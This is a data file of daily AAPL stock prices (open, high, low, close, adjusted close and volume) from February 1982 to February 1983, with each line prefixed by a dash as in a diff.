-1982-02-23,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,8635200.0,AAPL
-1982-02-24,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,9486400.0,AAPL
-1982-02-25,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,7700000.0,AAPL
-1982-02-26,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,4356800.0,AAPL
-1982-03-01,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,8825600.0,AAPL
-1982-03-02,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,8702400.0,AAPL
-1982-03-03,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,5913600.0,AAPL
-1982-03-04,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,9592800.0,AAPL
-1982-03-05,0.2991071343421936,0.2991071343421936,0.296875,0.296875,0.23578399419784546,11328800.0,AAPL
-1982-03-08,0.2946428656578064,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23223842680454254,8786400.0,AAPL
-1982-03-09,0.2946428656578064,0.296875,0.2946428656578064,0.2946428656578064,0.23401138186454773,13126400.0,AAPL
-1982-03-10,0.2924107015132904,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2304656058549881,21733600.0,AAPL
-1982-03-11,0.2901785671710968,0.2946428656578064,0.2901785671710968,0.2901785671710968,0.2304656058549881,5644800.0,AAPL
-1982-03-12,0.2745535671710968,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,11636800.0,AAPL
-1982-03-15,0.2723214328289032,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21451032161712646,12840800.0,AAPL
-1982-03-16,0.2678571343421936,0.2678571343421936,0.265625,0.265625,0.21096472442150116,11788000.0,AAPL
-1982-03-17,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.20032787322998047,12622400.0,AAPL
-1982-03-18,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,14084000.0,AAPL
-1982-03-19,0.296875,0.2991071343421936,0.296875,0.296875,0.23578399419784546,16452800.0,AAPL
-1982-03-22,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,17298400.0,AAPL
-1982-03-23,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,13988800.0,AAPL
-1982-03-24,0.2991071343421936,0.2991071343421936,0.296875,0.296875,0.23578399419784546,12902400.0,AAPL
-1982-03-25,0.296875,0.296875,0.2946428656578064,0.2946428656578064,0.23401138186454773,21028000.0,AAPL
-1982-03-26,0.2924107015132904,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2304656058549881,12695200.0,AAPL
-1982-03-29,0.296875,0.2991071343421936,0.296875,0.296875,0.23578399419784546,16900800.0,AAPL
-1982-03-30,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,19488000.0,AAPL
-1982-03-31,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,12538400.0,AAPL
-1982-04-01,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,14784000.0,AAPL
-1982-04-02,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,21201600.0,AAPL
-1982-04-05,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,21660800.0,AAPL
-1982-04-06,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,17897600.0,AAPL
-1982-04-07,0.3125,0.3125,0.3102678656578064,0.3102678656578064,0.2464209944009781,7274400.0,AAPL
-1982-04-08,0.3125,0.3147321343421936,0.3125,0.3125,0.24819375574588776,5997600.0,AAPL
-1982-04-12,0.3125,0.3147321343421936,0.3102678656578064,0.3102678656578064,0.2464209944009781,11076800.0,AAPL
-1982-04-13,0.2879464328289032,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.226920023560524,21324800.0,AAPL
-1982-04-14,0.2879464328289032,0.2901785671710968,0.2879464328289032,0.2879464328289032,0.22869282960891724,28397600.0,AAPL
-1982-04-15,0.2924107015132904,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23223842680454254,41070400.0,AAPL
-1982-04-16,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,26012000.0,AAPL
-1982-04-19,0.2991071343421936,0.2991071343421936,0.2946428656578064,0.2946428656578064,0.23401138186454773,10320800.0,AAPL
-1982-04-20,0.2834821343421936,0.2834821343421936,0.28125,0.28125,0.2233743518590927,20137600.0,AAPL
-1982-04-21,0.28125,0.28125,0.2790178656578064,0.2790178656578064,0.22160156071186066,18256000.0,AAPL
-1982-04-22,0.2767857015132904,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.21805597841739655,13148800.0,AAPL
-1982-04-23,0.2745535671710968,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.21805597841739655,12073600.0,AAPL
-1982-04-26,0.28125,0.2834821343421936,0.28125,0.28125,0.2233743518590927,14481600.0,AAPL
-1982-04-27,0.2745535671710968,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,17567200.0,AAPL
-1982-04-28,0.2633928656578064,0.2633928656578064,0.2611607015132904,0.2611607015132904,0.20741912722587585,24808000.0,AAPL
-1982-04-29,0.2611607015132904,0.2633928656578064,0.2611607015132904,0.2611607015132904,0.20741912722587585,20557600.0,AAPL
-1982-04-30,0.2633928656578064,0.265625,0.2633928656578064,0.2633928656578064,0.20919188857078552,69350400.0,AAPL
-1982-05-03,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,20675200.0,AAPL
-1982-05-04,0.28125,0.2834821343421936,0.28125,0.28125,0.2233743518590927,18496800.0,AAPL
-1982-05-05,0.28125,0.28125,0.2767857015132904,0.2767857015132904,0.21982868015766144,13484800.0,AAPL
-1982-05-06,0.2857142984867096,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.226920023560524,18866400.0,AAPL
-1982-05-07,0.2901785671710968,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2304656058549881,21179200.0,AAPL
-1982-05-10,0.2879464328289032,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.226920023560524,7901600.0,AAPL
-1982-05-11,0.2790178656578064,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.21982868015766144,25754400.0,AAPL
-1982-05-12,0.2723214328289032,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21451032161712646,17752000.0,AAPL
-1982-05-13,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,13613600.0,AAPL
-1982-05-14,0.265625,0.265625,0.2611607015132904,0.2611607015132904,0.20741912722587585,23934400.0,AAPL
-1982-05-17,0.2589285671710968,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,19051200.0,AAPL
-1982-05-18,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.20032787322998047,30508800.0,AAPL
-1982-05-19,0.2522321343421936,0.2522321343421936,0.25,0.25,0.19855505228042603,18821600.0,AAPL
-1982-05-20,0.2522321343421936,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.20032787322998047,6904800.0,AAPL
-1982-05-21,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,9710400.0,AAPL
-1982-05-24,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,7996800.0,AAPL
-1982-05-25,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,12891200.0,AAPL
-1982-05-26,0.2566964328289032,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,10819200.0,AAPL
-1982-05-27,0.2522321343421936,0.2522321343421936,0.25,0.25,0.19855505228042603,7812000.0,AAPL
-1982-05-28,0.25,0.2522321343421936,0.25,0.25,0.19855505228042603,4799200.0,AAPL
-1982-06-01,0.2477678507566452,0.2477678507566452,0.2455357164144516,0.2455357164144516,0.19500944018363953,11900000.0,AAPL
-1982-06-02,0.25,0.2522321343421936,0.25,0.25,0.19855505228042603,8226400.0,AAPL
-1982-06-03,0.2455357164144516,0.2455357164144516,0.2410714328289032,0.2410714328289032,0.19146382808685303,9940000.0,AAPL
-1982-06-04,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.1861453801393509,9419200.0,AAPL
-1982-06-07,0.234375,0.2366071492433548,0.234375,0.234375,0.1861453801393509,9290400.0,AAPL
-1982-06-08,0.234375,0.234375,0.2321428507566452,0.2321428507566452,0.18437252938747406,7851200.0,AAPL
-1982-06-09,0.2299107164144516,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18082693219184875,8461600.0,AAPL
-1982-06-10,0.2299107164144516,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.1825997233390808,8601600.0,AAPL
-1982-06-11,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,13658400.0,AAPL
-1982-06-14,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,7498400.0,AAPL
-1982-06-15,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,8803200.0,AAPL
-1982-06-16,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,10432800.0,AAPL
-1982-06-17,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.1861453801393509,7291200.0,AAPL
-1982-06-18,0.234375,0.234375,0.2299107164144516,0.2299107164144516,0.1825997233390808,4967200.0,AAPL
-1982-06-21,0.2299107164144516,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.1825997233390808,7134400.0,AAPL
-1982-06-22,0.2388392835855484,0.2433035671710968,0.2388392835855484,0.2388392835855484,0.189690962433815,4390400.0,AAPL
-1982-06-23,0.2455357164144516,0.25,0.2455357164144516,0.2455357164144516,0.19500944018363953,13188000.0,AAPL
-1982-06-24,0.2455357164144516,0.2477678507566452,0.2455357164144516,0.2455357164144516,0.19500944018363953,11037600.0,AAPL
-1982-06-25,0.2388392835855484,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18791817128658295,6669600.0,AAPL
-1982-06-28,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.1861453801393509,6288800.0,AAPL
-1982-06-29,0.2299107164144516,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18082693219184875,8954400.0,AAPL
-1982-06-30,0.2276785671710968,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18082693219184875,16906400.0,AAPL
-1982-07-01,0.2276785671710968,0.2276785671710968,0.2254464328289032,0.2254464328289032,0.1790541112422943,13932800.0,AAPL
-1982-07-02,0.2165178507566452,0.2165178507566452,0.2142857164144516,0.2142857164144516,0.1701899915933609,14526400.0,AAPL
-1982-07-06,0.2075892835855484,0.2075892835855484,0.2053571492433548,0.2053571492433548,0.1630987972021103,21924000.0,AAPL
-1982-07-07,0.2053571492433548,0.2075892835855484,0.2053571492433548,0.2053571492433548,0.1630987972021103,7593600.0,AAPL
-1982-07-08,0.1986607164144516,0.1986607164144516,0.1964285671710968,0.1964285671710968,0.1560075581073761,41081600.0,AAPL
-1982-07-09,0.203125,0.2053571492433548,0.203125,0.203125,0.16132594645023346,32104800.0,AAPL
-1982-07-12,0.2075892835855484,0.2098214328289032,0.2075892835855484,0.2075892835855484,0.16487158834934235,15848000.0,AAPL
-1982-07-13,0.2209821492433548,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.17550846934318542,28593600.0,AAPL
-1982-07-14,0.2232142835855484,0.2276785671710968,0.2232142835855484,0.2232142835855484,0.1772812455892563,17780000.0,AAPL
-1982-07-15,0.2276785671710968,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18082693219184875,16447200.0,AAPL
-1982-07-16,0.2366071492433548,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18791817128658295,19252800.0,AAPL
-1982-07-19,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,20944000.0,AAPL
-1982-07-20,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,12426400.0,AAPL
-1982-07-21,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,17925600.0,AAPL
-1982-07-22,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,8803200.0,AAPL
-1982-07-23,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.20032787322998047,4575200.0,AAPL
-1982-07-26,0.2433035671710968,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.19146382808685303,14212800.0,AAPL
-1982-07-27,0.2410714328289032,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.19146382808685303,8080800.0,AAPL
-1982-07-28,0.2321428507566452,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.1825997233390808,13378400.0,AAPL
-1982-07-29,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,15467200.0,AAPL
-1982-07-30,0.2410714328289032,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.19146382808685303,9654400.0,AAPL
-1982-08-02,0.2477678507566452,0.25,0.2477678507566452,0.2477678507566452,0.1967821717262268,23598400.0,AAPL
-1982-08-03,0.234375,0.234375,0.2321428507566452,0.2321428507566452,0.18437252938747406,22467200.0,AAPL
-1982-08-04,0.2321428507566452,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.1825997233390808,20966400.0,AAPL
-1982-08-05,0.2232142835855484,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.17550846934318542,17438400.0,AAPL
-1982-08-06,0.2209821492433548,0.2209821492433548,0.21875,0.21875,0.17373567819595337,24208800.0,AAPL
-1982-08-09,0.2209821492433548,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.17550846934318542,14028000.0,AAPL
-1982-08-10,0.234375,0.2366071492433548,0.234375,0.234375,0.1861453801393509,28061600.0,AAPL
-1982-08-11,0.2366071492433548,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18791817128658295,17472000.0,AAPL
-1982-08-12,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.1861453801393509,7655200.0,AAPL
-1982-08-13,0.234375,0.2366071492433548,0.234375,0.234375,0.1861453801393509,6490400.0,AAPL
-1982-08-16,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.189690962433815,9604000.0,AAPL
-1982-08-17,0.2544642984867096,0.2589285671710968,0.2544642984867096,0.2544642984867096,0.20210061967372894,11933600.0,AAPL
-1982-08-18,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.20210061967372894,31264800.0,AAPL
-1982-08-19,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20387351512908936,11905600.0,AAPL
-1982-08-20,0.2633928656578064,0.265625,0.2633928656578064,0.2633928656578064,0.20919188857078552,13714400.0,AAPL
-1982-08-23,0.2745535671710968,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.21805597841739655,17421600.0,AAPL
-1982-08-24,0.2879464328289032,0.2901785671710968,0.2879464328289032,0.2879464328289032,0.22869282960891724,38942400.0,AAPL
-1982-08-25,0.3080357015132904,0.3102678656578064,0.3080357015132904,0.3080357015132904,0.24464817345142365,89269600.0,AAPL
-1982-08-26,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,52645600.0,AAPL
-1982-08-27,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,24662400.0,AAPL
-1982-08-30,0.3058035671710968,0.3080357015132904,0.3058035671710968,0.3058035671710968,0.24287545680999756,20109600.0,AAPL
-1982-08-31,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,35140000.0,AAPL
-1982-09-01,0.3147321343421936,0.3147321343421936,0.3125,0.3125,0.24819375574588776,20641600.0,AAPL
-1982-09-02,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,18855200.0,AAPL
-1982-09-03,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,26135200.0,AAPL
-1982-09-07,0.3125,0.3125,0.3102678656578064,0.3102678656578064,0.2464209944009781,20344800.0,AAPL
-1982-09-08,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,18082400.0,AAPL
-1982-09-09,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,15898400.0,AAPL
-1982-09-10,0.3236607015132904,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,14016800.0,AAPL
-1982-09-13,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,14722400.0,AAPL
-1982-09-14,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2676945626735687,25373600.0,AAPL
-1982-09-15,0.3370535671710968,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,17936800.0,AAPL
-1982-09-16,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.25705787539482117,20092800.0,AAPL
-1982-09-17,0.3191964328289032,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.251739501953125,13512800.0,AAPL
-1982-09-20,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,9783200.0,AAPL
-1982-09-21,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,9167200.0,AAPL
-1982-09-22,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,25844000.0,AAPL
-1982-09-23,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.2659218907356262,34955200.0,AAPL
-1982-09-24,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,44548000.0,AAPL
-1982-09-27,0.3236607015132904,0.328125,0.3236607015132904,0.3236607015132904,0.25705787539482117,9536800.0,AAPL
-1982-09-28,0.328125,0.3325892984867096,0.328125,0.328125,0.26060351729393005,21380800.0,AAPL
-1982-09-29,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,16391200.0,AAPL
-1982-09-30,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.2588306963443756,18670400.0,AAPL
-1982-10-01,0.3303571343421936,0.3348214328289032,0.3303571343421936,0.3303571343421936,0.26237624883651733,11564000.0,AAPL
-1982-10-04,0.3303571343421936,0.3370535671710968,0.3214285671710968,0.3348214328289032,0.2659218907356262,17332000.0,AAPL
-1982-10-05,0.3348214328289032,0.34375,0.3348214328289032,0.3370535671710968,0.2676945626735687,20059200.0,AAPL
-1982-10-06,0.3370535671710968,0.3616071343421936,0.3370535671710968,0.3616071343421936,0.2871958017349243,43383200.0,AAPL
-1982-10-07,0.3638392984867096,0.3928571343421936,0.3638392984867096,0.390625,0.31024226546287537,77918400.0,AAPL
-1982-10-08,0.390625,0.421875,0.3883928656578064,0.4196428656578064,0.3332887589931488,68885600.0,AAPL
-1982-10-11,0.4196428656578064,0.4419642984867096,0.4196428656578064,0.4285714328289032,0.3403799831867218,78433600.0,AAPL
-1982-10-12,0.4285714328289032,0.4352678656578064,0.4107142984867096,0.4151785671710968,0.3297431766986847,64736000.0,AAPL
-1982-10-13,0.4151785671710968,0.4330357015132904,0.4107142984867096,0.4196428656578064,0.3332887589931488,49711200.0,AAPL
-1982-10-14,0.4196428656578064,0.4263392984867096,0.4129464328289032,0.421875,0.33506160974502563,44665600.0,AAPL
-1982-10-15,0.4196428656578064,0.4196428656578064,0.4040178656578064,0.4107142984867096,0.3261975944042206,36153600.0,AAPL
-1982-10-18,0.4107142984867096,0.421875,0.4107142984867096,0.4196428656578064,0.3332887589931488,23587200.0,AAPL
-1982-10-19,0.4196428656578064,0.4330357015132904,0.4196428656578064,0.4285714328289032,0.3403799831867218,30710400.0,AAPL
-1982-10-20,0.4285714328289032,0.4575892984867096,0.4263392984867096,0.453125,0.35988089442253113,60524800.0,AAPL
-1982-10-21,0.453125,0.4776785671710968,0.4464285671710968,0.4642857015132904,0.3687450587749481,56879200.0,AAPL
-1982-10-22,0.4642857015132904,0.4776785671710968,0.4620535671710968,0.4620535671710968,0.3669722080230713,40420800.0,AAPL
-1982-10-25,0.4620535671710968,0.4642857015132904,0.4330357015132904,0.4352678656578064,0.3456985056400299,46233600.0,AAPL
-1982-10-26,0.4352678656578064,0.4397321343421936,0.4151785671710968,0.4375,0.34747135639190674,41938400.0,AAPL
-1982-10-27,0.4375,0.4508928656578064,0.4375,0.4486607015132904,0.35633549094200134,47790400.0,AAPL
-1982-10-28,0.4486607015132904,0.453125,0.4419642984867096,0.4486607015132904,0.35633549094200134,54420800.0,AAPL
-1982-10-29,0.4486607015132904,0.453125,0.4419642984867096,0.453125,0.35988089442253113,29528800.0,AAPL
-1982-11-01,0.453125,0.4821428656578064,0.4486607015132904,0.4776785671710968,0.37938192486763,26090400.0,AAPL
-1982-11-02,0.4821428656578064,0.5267857313156128,0.4821428656578064,0.5111607313156128,0.40597423911094666,77711200.0,AAPL
-1982-11-03,0.5111607313156128,0.5491071343421936,0.5111607313156128,0.5491071343421936,0.4361119568347931,58783200.0,AAPL
-1982-11-04,0.5491071343421936,0.5691964030265808,0.5446428656578064,0.5535714030265808,0.4396573603153229,82269600.0,AAPL
-1982-11-05,0.5491071343421936,0.5491071343421936,0.5290178656578064,0.5379464030265808,0.4272479712963104,35375200.0,AAPL
-1982-11-08,0.5379464030265808,0.5424107313156128,0.5133928656578064,0.515625,0.4095197916030884,29797600.0,AAPL
-1982-11-09,0.515625,0.5379464030265808,0.5133928656578064,0.5334821343421936,0.42370226979255676,44945600.0,AAPL
-1982-11-10,0.5357142686843872,0.5625,0.5357142686843872,0.5535714030265808,0.4396573603153229,50696800.0,AAPL
-1982-11-11,0.5535714030265808,0.5892857313156128,0.5446428656578064,0.5892857313156128,0.46802276372909546,30788800.0,AAPL
-1982-11-12,0.5892857313156128,0.6071428656578064,0.578125,0.578125,0.45915842056274414,32776800.0,AAPL
-1982-11-15,0.578125,0.5848214030265808,0.5580357313156128,0.5647321343421936,0.4485216736793518,31147200.0,AAPL
-1982-11-16,0.5647321343421936,0.5669642686843872,0.5334821343421936,0.5357142686843872,0.4254750907421112,45505600.0,AAPL
-1982-11-17,0.5357142686843872,0.5625,0.5357142686843872,0.5602678656578064,0.44497600197792053,36036000.0,AAPL
-1982-11-18,0.5602678656578064,0.5691964030265808,0.5580357313156128,0.5602678656578064,0.44497600197792053,38169600.0,AAPL
-1982-11-19,0.5602678656578064,0.5647321343421936,0.5491071343421936,0.5513392686843872,0.43788468837738037,24326400.0,AAPL
-1982-11-22,0.5513392686843872,0.5513392686843872,0.5022321343421936,0.5022321343421936,0.3988828659057617,25312000.0,AAPL
-1982-11-23,0.5089285969734192,0.53125,0.5089285969734192,0.515625,0.4095197916030884,22125600.0,AAPL
-1982-11-24,0.515625,0.5446428656578064,0.5133928656578064,0.5267857313156128,0.41838377714157104,18435200.0,AAPL
-1982-11-26,0.5267857313156128,0.5334821343421936,0.5066964030265808,0.5178571343421936,0.4112926721572876,25496800.0,AAPL
-1982-11-29,0.5178571343421936,0.5245535969734192,0.5,0.515625,0.4095197916030884,12488000.0,AAPL
-1982-11-30,0.515625,0.5714285969734192,0.5133928656578064,0.5691964030265808,0.4520672559738159,39799200.0,AAPL
-1982-12-01,0.5691964030265808,0.6026785969734192,0.5691964030265808,0.5803571343421936,0.4609312117099762,51710400.0,AAPL
-1982-12-02,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5803571343421936,0.4609312117099762,41182400.0,AAPL
-1982-12-03,0.5736607313156128,0.5736607313156128,0.5602678656578064,0.5669642686843872,0.4502944052219391,11894400.0,AAPL
-1982-12-06,0.5669642686843872,0.6026785969734192,0.5625,0.5982142686843872,0.47511371970176697,36646400.0,AAPL
-1982-12-07,0.5982142686843872,0.6183035969734192,0.5848214030265808,0.6049107313156128,0.48043233156204224,41820800.0,AAPL
-1982-12-08,0.6049107313156128,0.6227678656578064,0.5892857313156128,0.5915178656578064,0.469795286655426,28078400.0,AAPL
-1982-12-09,0.5825892686843872,0.5825892686843872,0.5535714030265808,0.5625,0.4467487037181854,48664000.0,AAPL
-1982-12-10,0.5535714030265808,0.5535714030265808,0.515625,0.5223214030265808,0.4148382544517517,41871200.0,AAPL
-1982-12-13,0.5178571343421936,0.5178571343421936,0.5111607313156128,0.5111607313156128,0.40597423911094666,23844800.0,AAPL
-1982-12-14,0.5111607313156128,0.5424107313156128,0.5,0.5066964030265808,0.402428537607193,67513600.0,AAPL
-1982-12-15,0.5066964030265808,0.5089285969734192,0.4933035671710968,0.5044642686843872,0.40065574645996094,32698400.0,AAPL
-1982-12-16,0.5044642686843872,0.5223214030265808,0.5,0.5133928656578064,0.4077470302581787,35291200.0,AAPL
-1982-12-17,0.5133928656578064,0.5424107313156128,0.5111607313156128,0.5379464030265808,0.4272479712963104,20182400.0,AAPL
-1982-12-20,0.5379464030265808,0.5401785969734192,0.53125,0.5357142686843872,0.4254750907421112,17444000.0,AAPL
-1982-12-21,0.5357142686843872,0.5401785969734192,0.5267857313156128,0.5401785969734192,0.42902064323425293,19986400.0,AAPL
-1982-12-22,0.5424107313156128,0.5558035969734192,0.5424107313156128,0.5558035969734192,0.4414304792881012,25306400.0,AAPL
-1982-12-23,0.5558035969734192,0.5714285969734192,0.5513392686843872,0.5714285969734192,0.453840047121048,21744800.0,AAPL
-1982-12-27,0.5714285969734192,0.5870535969734192,0.5669642686843872,0.5848214030265808,0.4644768536090851,15467200.0,AAPL
-1982-12-28,0.5848214030265808,0.6026785969734192,0.5736607313156128,0.5803571343421936,0.4609312117099762,28341600.0,AAPL
-1982-12-29,0.5803571343421936,0.5825892686843872,0.5535714030265808,0.5602678656578064,0.44497600197792053,20176800.0,AAPL
-1982-12-30,0.5602678656578064,0.5669642686843872,0.5290178656578064,0.5357142686843872,0.4254750907421112,39216800.0,AAPL
-1982-12-31,0.5357142686843872,0.5424107313156128,0.5334821343421936,0.5334821343421936,0.42370226979255676,12415200.0,AAPL
-1983-01-03,0.5334821343421936,0.5401785969734192,0.5044642686843872,0.5089285969734192,0.4042012393474579,28207200.0,AAPL
-1983-01-04,0.5089285969734192,0.5401785969734192,0.5,0.5379464030265808,0.4272479712963104,55927200.0,AAPL
-1983-01-05,0.5379464030265808,0.5446428656578064,0.5290178656578064,0.5401785969734192,0.42902064323425293,35386400.0,AAPL
-1983-01-06,0.5401785969734192,0.5424107313156128,0.5178571343421936,0.5200892686843872,0.4130654036998749,24449600.0,AAPL
-1983-01-07,0.5200892686843872,0.5267857313156128,0.4910714328289032,0.4910714328289032,0.39001888036727905,43013600.0,AAPL
-1983-01-10,0.4910714328289032,0.5178571343421936,0.4866071343421936,0.5133928656578064,0.4077470302581787,68835200.0,AAPL
-1983-01-11,0.5133928656578064,0.5267857313156128,0.5133928656578064,0.5200892686843872,0.4130654036998749,347200.0,AAPL
-1983-01-12,0.5267857313156128,0.5625,0.5267857313156128,0.5491071343421936,0.4361119568347931,44245600.0,AAPL
-1983-01-13,0.5491071343421936,0.5535714030265808,0.5401785969734192,0.5491071343421936,0.4361119568347931,20568800.0,AAPL
-1983-01-14,0.5513392686843872,0.5892857313156128,0.5513392686843872,0.5892857313156128,0.46802276372909546,46160800.0,AAPL
-1983-01-17,0.5892857313156128,0.6183035969734192,0.5848214030265808,0.609375,0.4839777946472168,58716000.0,AAPL
-1983-01-18,0.609375,0.6227678656578064,0.5803571343421936,0.5959821343421936,0.4733408987522125,54947200.0,AAPL
-1983-01-19,0.5959821343421936,0.6071428656578064,0.59375,0.6004464030265808,0.4768866300582886,42414400.0,AAPL
-1983-01-20,0.6004464030265808,0.6674107313156128,0.6004464030265808,0.6674107313156128,0.5300711989402771,176960000.0,AAPL
-1983-01-21,0.6674107313156128,0.6964285969734192,0.6607142686843872,0.6674107313156128,0.5300711989402771,100648800.0,AAPL
-1983-01-24,0.6674107313156128,0.6674107313156128,0.6183035969734192,0.6294642686843872,0.499933123588562,78853600.0,AAPL
-1983-01-25,0.6294642686843872,0.6696428656578064,0.625,0.6540178656578064,0.5194342136383057,41759200.0,AAPL
-1983-01-26,0.6607142686843872,0.6875,0.6607142686843872,0.6808035969734192,0.5407077074050903,50803200.0,AAPL
-1983-01-27,0.6808035969734192,0.7321428656578064,0.6785714030265808,0.7276785969734192,0.5779370665550232,26079200.0,AAPL
-1983-01-28,0.7276785969734192,0.75,0.7232142686843872,0.7321428656578064,0.5814827680587769,99433600.0,AAPL
-1983-01-31,0.7321428656578064,0.7433035969734192,0.7165178656578064,0.7299107313156128,0.5797098278999329,47000800.0,AAPL
-1983-02-01,0.7299107313156128,0.7455357313156128,0.71875,0.7455357313156128,0.5921195149421692,52740800.0,AAPL
-1983-02-02,0.7455357313156128,0.78125,0.734375,0.765625,0.6080747246742249,66763200.0,AAPL
-1983-02-03,0.765625,0.7991071343421936,0.7589285969734192,0.796875,0.6328939199447632,63134400.0,AAPL
-1983-02-04,0.796875,0.8102678656578064,0.7834821343421936,0.7857142686843872,0.6240302324295044,53586400.0,AAPL
-1983-02-07,0.7857142686843872,0.796875,0.7410714030265808,0.7544642686843872,0.5992107391357422,35728000.0,AAPL
-1983-02-08,0.7544642686843872,0.765625,0.7388392686843872,0.7477678656578064,0.5938920974731445,42028000.0,AAPL
